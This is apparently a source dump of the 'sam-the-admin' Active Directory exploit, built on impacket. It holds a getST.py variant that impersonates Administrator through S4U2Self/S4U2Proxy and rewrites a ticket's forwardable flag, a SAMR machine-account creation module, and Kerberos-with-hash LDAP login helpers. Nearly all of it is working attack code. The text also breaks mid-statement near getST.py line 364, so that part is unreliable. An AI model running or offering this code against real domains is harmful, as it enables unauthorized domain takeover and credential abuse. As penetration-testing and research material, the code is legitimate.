5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
12 | # If the account has constrained delegation (with protocol transition) privileges you will be able to use
13 | # the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
14 | # request the ticket.)
15 | #
16 | # Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u)
17 | #
18 | # Examples:
19 | # ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
20 | # or
21 | # If you have tickets cached (run klist to verify) the script will use them
22 | # ./getST.py -k -spn cifs/contoso-dc contoso.com/user
23 | # Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
24 | # by default.
25 | #
26 | # Also, if the account is configured with constrained delegation (with protocol transition) you can request
27 | # service tickets for other users, assuming the target SPN is allowed for delegation:
28 | # ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
29 | #
30 | # The output of this script will be a service ticket for the Administrator user.
31 | #
32 | # Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
33 | #
34 | # Author:
35 | # Alberto Solino (@agsolino)
36 | #
37 |
38 | from __future__ import division
39 | from __future__ import print_function
40 | import argparse
41 | import datetime
42 | import logging
43 | import os
44 | import random
45 | import struct
46 | import sys
47 | from binascii import hexlify, unhexlify
48 | from six import b
49 |
50 | from pyasn1.codec.der import decoder, encoder
51 | from pyasn1.type.univ import noValue
52 |
53 | from impacket import version
54 | from impacket.examples import logger
55 | from impacket.examples.utils import parse_credentials
56 | from impacket.krb5 import constants
57 | from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
58 | Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart
59 | from impacket.krb5.ccache import CCache
60 | from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype
61 | from impacket.krb5.constants import TicketFlags, encodeFlags
62 | from impacket.krb5.kerberosv5 import getKerberosTGS
63 | from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
64 | from impacket.krb5.types import Principal, KerberosTime, Ticket
65 | from impacket.ntlm import compute_nthash
66 | from impacket.winregistry import hexdump
67 |
68 |
69 | class GETST:
70 | def __init__(self, target, password, domain, options, impersonate_target=None,target_spn=None):
71 | self.__password = password
72 | self.__user = target
73 | self.__domain = domain
74 | self.__lmhash = ''
75 | self.__nthash = ''
76 | self.__aesKey = options.aesKey
77 | self.__options = options
78 | self.__kdcHost = options.dc_ip
79 | self.impersonate_target = impersonate_target
80 | self.target_spn = target_spn
81 | self.__force_forwardable = False
82 | self.__additional_ticket = None
83 | self.__saveFileName = None
84 | self.__no_s4u2proxy = True
85 | if options.hashes is not None:
86 | self.__lmhash, self.__nthash = options.hashes.split(':')
87 |
88 |
89 | def saveTicket(self, ticket, sessionKey):
90 | logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
91 | ccache = CCache()
92 |
93 | ccache.fromTGS(ticket, sessionKey, sessionKey)
94 | ccache.saveFile(self.__saveFileName + '.ccache')
95 |
96 | def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
97 | if not os.path.isfile(additional_ticket_path):
98 | logging.error("Ticket %s doesn't exist" % additional_ticket_path)
99 | exit(0)
100 | else:
101 | decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
102 | logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
103 | ccache = CCache.loadFile(additional_ticket_path)
104 | principal = ccache.credentials[0].header['server'].prettyPrint()
105 | creds = ccache.getCredential(principal.decode())
106 | TGS = creds.toTGS(principal)
107 |
108 | tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
109 |
110 | if logging.getLogger().level == logging.DEBUG:
111 | logging.debug('TGS_REP')
112 | print(tgs.prettyPrint())
113 |
114 | if self.__force_forwardable:
115 | # Convert hashes to binary form, just in case we're receiving strings
116 | if isinstance(nthash, str):
117 | try:
118 | nthash = unhexlify(nthash)
119 | except TypeError:
120 | pass
121 | if isinstance(aesKey, str):
122 | try:
123 | aesKey = unhexlify(aesKey)
124 | except TypeError:
125 | pass
126 |
127 | # Compute NTHash and AESKey if they're not provided in arguments
128 | if self.__password != '' and self.__domain != '' and self.__user != '':
129 | if not nthash:
130 | nthash = compute_nthash(self.__password)
131 | if logging.getLogger().level == logging.DEBUG:
132 | logging.debug('NTHash')
133 | print(hexlify(nthash).decode())
134 | if not aesKey:
135 | salt = self.__domain.upper() + self.__user
136 | aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
137 | if logging.getLogger().level == logging.DEBUG:
138 | logging.debug('AESKey')
139 | print(hexlify(aesKey).decode())
140 |
141 | # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
142 | cipherText = tgs['ticket']['enc-part']['cipher']
143 |
144 | # Check which cipher was used to encrypt the ticket. It's not always the same
145 | # This determines which of our keys we should use for decryption/re-encryption
146 | newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
147 | if newCipher.enctype == Enctype.RC4:
148 | key = Key(newCipher.enctype, nthash)
149 | else:
150 | key = Key(newCipher.enctype, aesKey)
151 |
152 | # Decrypt and decode the ticket
153 | # Key Usage 2
154 | # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
155 | # application session key), encrypted with the service key
156 | # (section 5.4.2)
157 | plainText = newCipher.decrypt(key, 2, cipherText)
158 | encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
159 |
160 | # Print the flags in the ticket before modification
161 | logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
162 | logging.debug('\tService ticket from S4U2self is'
163 | + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
164 | + ' forwardable')
165 |
166 | # Customize flags the forwardable flag is the only one that really matters
167 | logging.info('\tForcing the service ticket to be forwardable')
168 | # convert to string of bits
169 | flagBits = encTicketPart['flags'].asBinary()
170 | # Set the forwardable flag. Awkward binary string insertion
171 | flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
172 | # Overwrite the value with the new bits
173 | encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
174 |
175 | logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
176 | logging.debug('\tService ticket now is'
177 | + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
178 | + ' forwardable')
179 |
180 | # Re-encode and re-encrypt the ticket
181 | # Again, Key Usage 2
182 | encodedEncTicketPart = encoder.encode(encTicketPart)
183 | cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
184 |
185 | # put it back in the TGS
186 | tgs['ticket']['enc-part']['cipher'] = cipherText
187 |
188 | ################################################################################
189 | # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
190 | # So here I have a ST for me.. I now want a ST for another service
191 | # Extract the ticket from the TGT
192 | ticketTGT = Ticket()
193 | ticketTGT.from_asn1(decodedTGT['ticket'])
194 |
195 | # Get the service ticket
196 | ticket = Ticket()
197 | ticket.from_asn1(tgs['ticket'])
198 |
199 | apReq = AP_REQ()
200 | apReq['pvno'] = 5
201 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
202 |
203 | opts = list()
204 | apReq['ap-options'] = constants.encodeFlags(opts)
205 | seq_set(apReq, 'ticket', ticketTGT.to_asn1)
206 |
207 | authenticator = Authenticator()
208 | authenticator['authenticator-vno'] = 5
209 | authenticator['crealm'] = str(decodedTGT['crealm'])
210 |
211 | clientName = Principal()
212 | clientName.from_asn1(decodedTGT, 'crealm', 'cname')
213 |
214 | seq_set(authenticator, 'cname', clientName.components_to_asn1)
215 |
216 | now = datetime.datetime.utcnow()
217 | authenticator['cusec'] = now.microsecond
218 | authenticator['ctime'] = KerberosTime.to_asn1(now)
219 |
220 | encodedAuthenticator = encoder.encode(authenticator)
221 |
222 | # Key Usage 7
223 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
224 | # TGS authenticator subkey), encrypted with the TGS session
225 | # key (Section 5.5.1)
226 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
227 |
228 | apReq['authenticator'] = noValue
229 | apReq['authenticator']['etype'] = cipher.enctype
230 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
231 |
232 | encodedApReq = encoder.encode(apReq)
233 |
234 | tgsReq = TGS_REQ()
235 |
236 | tgsReq['pvno'] = 5
237 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
238 | tgsReq['padata'] = noValue
239 | tgsReq['padata'][0] = noValue
240 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
241 | tgsReq['padata'][0]['padata-value'] = encodedApReq
242 |
243 | # Add resource-based constrained delegation support
244 | paPacOptions = PA_PAC_OPTIONS()
245 | paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
246 |
247 | tgsReq['padata'][1] = noValue
248 | tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
249 | tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
250 |
251 | reqBody = seq_set(tgsReq, 'req-body')
252 |
253 | opts = list()
254 | # This specified we're doing S4U
255 | opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
256 | opts.append(constants.KDCOptions.canonicalize.value)
257 | opts.append(constants.KDCOptions.forwardable.value)
258 | opts.append(constants.KDCOptions.renewable.value)
259 |
260 | reqBody['kdc-options'] = constants.encodeFlags(opts)
261 | service2 = Principal(self.target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
262 | seq_set(reqBody, 'sname', service2.components_to_asn1)
263 | reqBody['realm'] = self.__domain
264 |
265 | myTicket = ticket.to_asn1(TicketAsn1())
266 | seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
267 |
268 | now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
269 |
270 | reqBody['till'] = KerberosTime.to_asn1(now)
271 | reqBody['nonce'] = random.getrandbits(31)
272 | seq_set_iter(reqBody, 'etype',
273 | (
274 | int(constants.EncryptionTypes.rc4_hmac.value),
275 | int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
276 | int(constants.EncryptionTypes.des_cbc_md5.value),
277 | int(cipher.enctype)
278 | )
279 | )
280 | message = encoder.encode(tgsReq)
281 |
282 | logging.info('\tRequesting S4U2Proxy')
283 | r = sendReceive(message, self.__domain, kdcHost)
284 |
285 | tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
286 |
287 | cipherText = tgs['enc-part']['cipher']
288 |
289 | # Key Usage 8
290 | # TGS-REP encrypted part (includes application session
291 | # key), encrypted with the TGS session key (Section 5.4.2)
292 | plainText = cipher.decrypt(sessionKey, 8, cipherText)
293 |
294 | encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
295 |
296 | newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
297 |
298 | # Creating new cipher based on received keytype
299 | cipher = _enctype_table[encTGSRepPart['key']['keytype']]
300 |
301 | return r, cipher, sessionKey, newSessionKey
302 |
303 | def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
304 | decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
305 | # Extract the ticket from the TGT
306 | ticket = Ticket()
307 | ticket.from_asn1(decodedTGT['ticket'])
308 |
309 | apReq = AP_REQ()
310 | apReq['pvno'] = 5
311 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
312 |
313 | opts = list()
314 | apReq['ap-options'] = constants.encodeFlags(opts)
315 | seq_set(apReq, 'ticket', ticket.to_asn1)
316 |
317 | authenticator = Authenticator()
318 | authenticator['authenticator-vno'] = 5
319 | authenticator['crealm'] = str(decodedTGT['crealm'])
320 |
321 | clientName = Principal()
322 | clientName.from_asn1(decodedTGT, 'crealm', 'cname')
323 |
324 | seq_set(authenticator, 'cname', clientName.components_to_asn1)
325 |
326 | now = datetime.datetime.utcnow()
327 | authenticator['cusec'] = now.microsecond
328 | authenticator['ctime'] = KerberosTime.to_asn1(now)
329 |
330 | if logging.getLogger().level == logging.DEBUG:
331 | logging.debug('AUTHENTICATOR')
332 | print(authenticator.prettyPrint())
333 | print('\n')
334 |
335 | encodedAuthenticator = encoder.encode(authenticator)
336 |
337 | # Key Usage 7
338 | # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
339 | # TGS authenticator subkey), encrypted with the TGS session
340 | # key (Section 5.5.1)
341 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
342 |
343 | apReq['authenticator'] = noValue
344 | apReq['authenticator']['etype'] = cipher.enctype
345 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
346 |
347 | encodedApReq = encoder.encode(apReq)
348 |
349 | tgsReq = TGS_REQ()
350 |
351 | tgsReq['pvno'] = 5
352 | tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
353 |
354 | tgsReq['padata'] = noValue
355 | tgsReq['padata'][0] = noValue
356 | tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
357 | tgsReq['padata'][0]['padata-value'] = encodedApReq
358 |
359 | # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
360 | # requests a service ticket to itself on behalf of a user. The user is
361 | # identified to the KDC by the user's name and realm.
362 | clientName = Principal(self.impersonate_target, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
363 |
364 | S4UByteArray = struct.pack('= 0:
679 | logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
680 | if str(e).find('KDC_ERR_BADOPTION') >= 0:
681 | logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
682 |
683 | return
684 | self.__saveFileName = self.impersonate_target
685 |
686 | self.saveTicket(tgs, oldSessionKey)
687 |
688 |
--------------------------------------------------------------------------------
/sam-the-admin/utils/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yutianqaq/impacket-gui/729764103e91577a0af9bd454cfff0e311267fb0/sam-the-admin/utils/__init__.py
--------------------------------------------------------------------------------
/sam-the-admin/utils/addcomputer.py:
--------------------------------------------------------------------------------
1 | from impacket import version
2 | from impacket.examples import logger
3 | from impacket.examples.utils import parse_credentials
4 | from impacket.dcerpc.v5 import samr, epm, transport
5 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
6 |
7 | import ldap3
8 | import argparse
9 | import logging
10 | import sys
11 | import string
12 | import random
13 | import ssl
14 | import os
15 | from binascii import unhexlify
16 |
17 |
18 | class AddComputerSAMR:
19 |
20 | def __init__(self, username, password, domain, cmdLineOptions,computer_name=None,computer_pass=None):
21 | self.options = cmdLineOptions
22 | self.__username = username
23 | self.__password = password
24 | self.__domain = domain
25 | self.__lmhash = ''
26 | self.__nthash = ''
27 | self.__hashes = cmdLineOptions.hashes
28 | self.__aesKey = cmdLineOptions.aesKey
29 | self.__doKerberos = cmdLineOptions.k
30 | self.__target = cmdLineOptions.dc_host
31 | self.__kdcHost = cmdLineOptions.dc_host
32 | self.__computerName = computer_name
33 | self.__computerPassword = computer_pass
34 | self.__method = 'SAMR'
35 | self.__port = cmdLineOptions.port
36 | self.__domainNetbios = cmdLineOptions.domain_netbios
37 | self.__noAdd = False
38 | self.__delete = False
39 | self.__targetIp = cmdLineOptions.dc_ip
40 |
41 | if self.__targetIp is not None:
42 | self.__kdcHost = self.__targetIp
43 |
44 |
45 | if self.__doKerberos and cmdLineOptions.dc_host is None:
46 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")
47 |
48 |
49 | if cmdLineOptions.hashes is not None:
50 | self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
51 |
52 | # if self.__computerName is None:
53 | # if self.__noAdd:
54 | # raise ValueError("You have to provide a computer name when using -no-add.")
55 | # elif self.__delete:
56 | # raise ValueError("You have to provide a computer name when using -delete.")
57 | # else:
58 | # if self.__computerName[-1] != '$':
59 | # self.__computerName += '$'
60 |
61 | if self.__computerPassword is None:
62 | self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
63 |
64 | if self.__target is None:
65 | self.__target = self.__domain
66 |
67 | if self.__port is None:
68 | if self.__method == 'SAMR':
69 | self.__port = 445
70 | elif self.__method == 'LDAPS':
71 | self.__port = 636
72 |
73 | if self.__domainNetbios is None:
74 | self.__domainNetbios = self.__domain
75 |
76 |
77 |
78 | def run_samr(self):
79 | if self.__targetIp is not None:
80 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
81 | else:
82 | stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
83 | rpctransport = transport.DCERPCTransportFactory(stringBinding)
84 | rpctransport.set_dport(self.__port)
85 |
86 | if self.__targetIp is not None:
87 | rpctransport.setRemoteHost(self.__targetIp)
88 | rpctransport.setRemoteName(self.__target)
89 |
90 | if hasattr(rpctransport, 'set_credentials'):
91 | # This method exists only for selected protocol sequences.
92 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
93 | self.__nthash, self.__aesKey)
94 |
95 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
96 | self.doSAMRAdd(rpctransport)
97 |
98 | def generateComputerName(self):
99 | return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
100 |
101 | def doSAMRAdd(self, rpctransport):
102 | dce = rpctransport.get_dce_rpc()
103 | servHandle = None
104 | domainHandle = None
105 | userHandle = None
106 | try:
107 | dce.connect()
108 | dce.bind(samr.MSRPC_UUID_SAMR)
109 |
110 | samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
111 | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
112 | servHandle = samrConnectResponse['ServerHandle']
113 |
114 | samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
115 | domains = samrEnumResponse['Buffer']['Buffer']
116 | domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
117 |
118 | if len(domainsWithoutBuiltin) > 1:
119 | domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
120 | if len(domain) != 1:
121 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios)
122 | logging.critical("Available domain(s):")
123 | for domain in domains:
124 | logging.error(" * %s" % domain['Name'])
125 | logging.critical("Consider using -domain-netbios argument to specify which one you meant.")
126 | raise Exception()
127 | else:
128 | selectedDomain = domain[0]['Name']
129 | else:
130 | selectedDomain = domainsWithoutBuiltin[0]['Name']
131 |
132 | samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
133 | domainSID = samrLookupDomainResponse['DomainId']
134 |
135 | if logging.getLogger().level == logging.DEBUG:
136 | logging.info("Opening domain %s..." % selectedDomain)
137 | samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
138 | domainHandle = samrOpenDomainResponse['DomainHandle']
139 |
140 |
141 | if self.__noAdd or self.__delete:
142 | try:
143 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
144 | except samr.DCERPCSessionError as e:
145 | if e.error_code == 0xc0000073:
146 | raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain))
147 | else:
148 | raise
149 |
150 | userRID = checkForUser['RelativeIds']['Element'][0]
151 | if self.__delete:
152 | access = samr.DELETE
153 | message = "delete"
154 | else:
155 | access = samr.USER_FORCE_PASSWORD_CHANGE
156 | message = "set password for"
157 | try:
158 | openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
159 | userHandle = openUser['UserHandle']
160 | except samr.DCERPCSessionError as e:
161 | if e.error_code == 0xc0000022:
162 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName))
163 | else:
164 | raise
165 | else:
166 | if self.__computerName is not None:
167 | try:
168 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
169 | raise Exception("Account %s already exists!" % self.__computerName)
170 | except samr.DCERPCSessionError as e:
171 | if e.error_code != 0xc0000073:
172 | raise
173 | else:
174 | foundUnused = False
175 | while not foundUnused:
176 | self.__computerName = self.generateComputerName()
177 | try:
178 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
179 | except samr.DCERPCSessionError as e:
180 | if e.error_code == 0xc0000073:
181 | foundUnused = True
182 | else:
183 | raise
184 |
185 | try:
186 | createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
187 | except samr.DCERPCSessionError as e:
188 | if e.error_code == 0xc0000022:
189 | raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
190 | elif e.error_code == 0xc00002e7:
191 | raise Exception("User %s machine quota exceeded!" % self.__username)
192 | else:
193 | raise
194 |
195 | userHandle = createUser['UserHandle']
196 |
197 | if self.__delete:
198 | samr.hSamrDeleteUser(dce, userHandle)
199 | logging.info("Successfully deleted %s." % self.__computerName)
200 | userHandle = None
201 | else:
202 | samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
203 | if self.__noAdd:
204 | logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword))
205 | else:
206 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
207 | userRID = checkForUser['RelativeIds']['Element'][0]
208 | openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
209 | userHandle = openUser['UserHandle']
210 | req = samr.SAMPR_USER_INFO_BUFFER()
211 | req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
212 | req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
213 | samr.hSamrSetInformationUser2(dce, userHandle, req)
214 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
215 |
216 | except Exception as e:
217 | if logging.getLogger().level == logging.DEBUG:
218 | import traceback
219 | traceback.print_exc()
220 |
221 | logging.critical(str(e))
222 | finally:
223 | if userHandle is not None:
224 | samr.hSamrCloseHandle(dce, userHandle)
225 | if domainHandle is not None:
226 | samr.hSamrCloseHandle(dce, domainHandle)
227 | if servHandle is not None:
228 | samr.hSamrCloseHandle(dce, servHandle)
229 | dce.disconnect()
230 |
231 | def run(self,delete=False):
232 | self.__delete = delete
233 | self.run_samr()
234 |
235 |
236 |
237 |
--------------------------------------------------------------------------------
/sam-the-admin/utils/helper.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import logging
3 | import sys
4 | import traceback
5 | import ldap3
6 | import ssl
7 | import ldapdomaindump
8 | from binascii import unhexlify
9 | import os
10 | import json
11 | from impacket import version
12 | from impacket.examples import logger, utils
13 | from impacket.smbconnection import SMBConnection
14 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
15 | from ldap3.utils.conv import escape_filter_chars
16 |
17 |
18 | from impacket import version
19 | from impacket.examples import logger
20 | from impacket.examples.utils import parse_credentials
21 | from impacket.krb5.kerberosv5 import getKerberosTGT
22 | from impacket.krb5 import constants
23 | from impacket.krb5.types import Principal
24 |
25 |
26 | def get_machine_name(args, domain):
27 | if args.dc_ip is not None:
28 | s = SMBConnection(args.dc_ip, args.dc_ip)
29 | else:
30 | s = SMBConnection(domain, domain)
31 | try:
32 | s.login('', '')
33 | except Exception:
34 | if s.getServerName() == '':
35 | raise Exception('Error while anonymous logging into %s' % domain)
36 | else:
37 | s.logoff()
38 | return s.getServerName()
39 |
40 |
41 | def parse_identity(args):
42 | domain, username, password = utils.parse_credentials(args.account)
43 |
44 | if domain == '':
45 | logging.critical('Domain should be specified!')
46 | sys.exit(1)
47 |
48 | if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
49 | from getpass import getpass
50 | logging.info("No credentials supplied, supply password")
51 | password = getpass("Password:")
52 |
53 | if args.aesKey is not None:
54 | args.k = True
55 |
56 | if args.hashes is not None:
57 | lmhash, nthash = args.hashes.split(':')
58 | else:
59 | lmhash = ''
60 | nthash = ''
61 |
62 | return domain, username, password, lmhash, nthash
63 |
64 | def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None,
65 | TGT=None, TGS=None, useCache=True):
66 | from pyasn1.codec.ber import encoder, decoder
67 | from pyasn1.type.univ import noValue
68 | """
69 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
70 | :param string user: username
71 | :param string password: password for the user
72 | :param string domain: domain where the account is valid for (required)
73 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
74 | :param string nthash: NTHASH used to authenticate using hashes (password is not used)
75 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
76 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
77 | :param struct TGT: If there's a TGT available, send the structure here and it will be used
78 | :param struct TGS: same for TGS. See smb3.py for the format
79 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
80 | :return: True, raises an Exception if error.
81 | """
82 |
83 | if lmhash != '' or nthash != '':
84 | if len(lmhash) % 2:
85 | lmhash = '0' + lmhash
86 | if len(nthash) % 2:
87 | nthash = '0' + nthash
88 | try: # just in case they were converted already
89 | lmhash = unhexlify(lmhash)
90 | nthash = unhexlify(nthash)
91 | except TypeError:
92 | pass
93 |
94 | # Importing down here so pyasn1 is not required if kerberos is not used.
95 | from impacket.krb5.ccache import CCache
96 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
97 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
98 | from impacket.krb5 import constants
99 | from impacket.krb5.types import Principal, KerberosTime, Ticket
100 | import datetime
101 |
102 | if TGT is not None or TGS is not None:
103 | useCache = False
104 |
105 | if useCache:
106 | try:
107 | ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
108 | except Exception as e:
109 | # No cache present
110 | print(e)
111 | pass
112 | else:
113 | # retrieve domain information from CCache file if needed
114 | if domain == '':
115 | domain = ccache.principal.realm['data'].decode('utf-8')
116 | logging.debug('Domain retrieved from CCache: %s' % domain)
117 |
118 | logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
119 | principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
120 |
121 | creds = ccache.getCredential(principal)
122 | if creds is None:
123 | # Let's try for the TGT and go from there
124 | principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
125 | creds = ccache.getCredential(principal)
126 | if creds is not None:
127 | TGT = creds.toTGT()
128 | logging.debug('Using TGT from cache')
129 | else:
130 | logging.debug('No valid credentials found in cache')
131 | else:
132 | TGS = creds.toTGS(principal)
133 | logging.debug('Using TGS from cache')
134 |
135 | # retrieve user information from CCache file if needed
136 | if user == '' and creds is not None:
137 | user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
138 | logging.debug('Username retrieved from CCache: %s' % user)
139 | elif user == '' and len(ccache.principal.components) > 0:
140 | user = ccache.principal.components[0]['data'].decode('utf-8')
141 | logging.debug('Username retrieved from CCache: %s' % user)
142 |
143 | # First of all, we need to get a TGT for the user
144 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
145 | if TGT is None:
146 | if TGS is None:
147 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
148 | aesKey, kdcHost)
149 | else:
150 | tgt = TGT['KDC_REP']
151 | cipher = TGT['cipher']
152 | sessionKey = TGT['sessionKey']
153 |
154 | if TGS is None:
155 | serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
156 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
157 | sessionKey)
158 | else:
159 | tgs = TGS['KDC_REP']
160 | cipher = TGS['cipher']
161 | sessionKey = TGS['sessionKey']
162 |
163 | # Let's build a NegTokenInit with a Kerberos REQ_AP
164 |
165 | blob = SPNEGO_NegTokenInit()
166 |
167 | # Kerberos
168 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
169 |
170 | # Let's extract the ticket from the TGS
171 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
172 | ticket = Ticket()
173 | ticket.from_asn1(tgs['ticket'])
174 |
175 | # Now let's build the AP_REQ
176 | apReq = AP_REQ()
177 | apReq['pvno'] = 5
178 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
179 |
180 | opts = []
181 | apReq['ap-options'] = constants.encodeFlags(opts)
182 | seq_set(apReq, 'ticket', ticket.to_asn1)
183 |
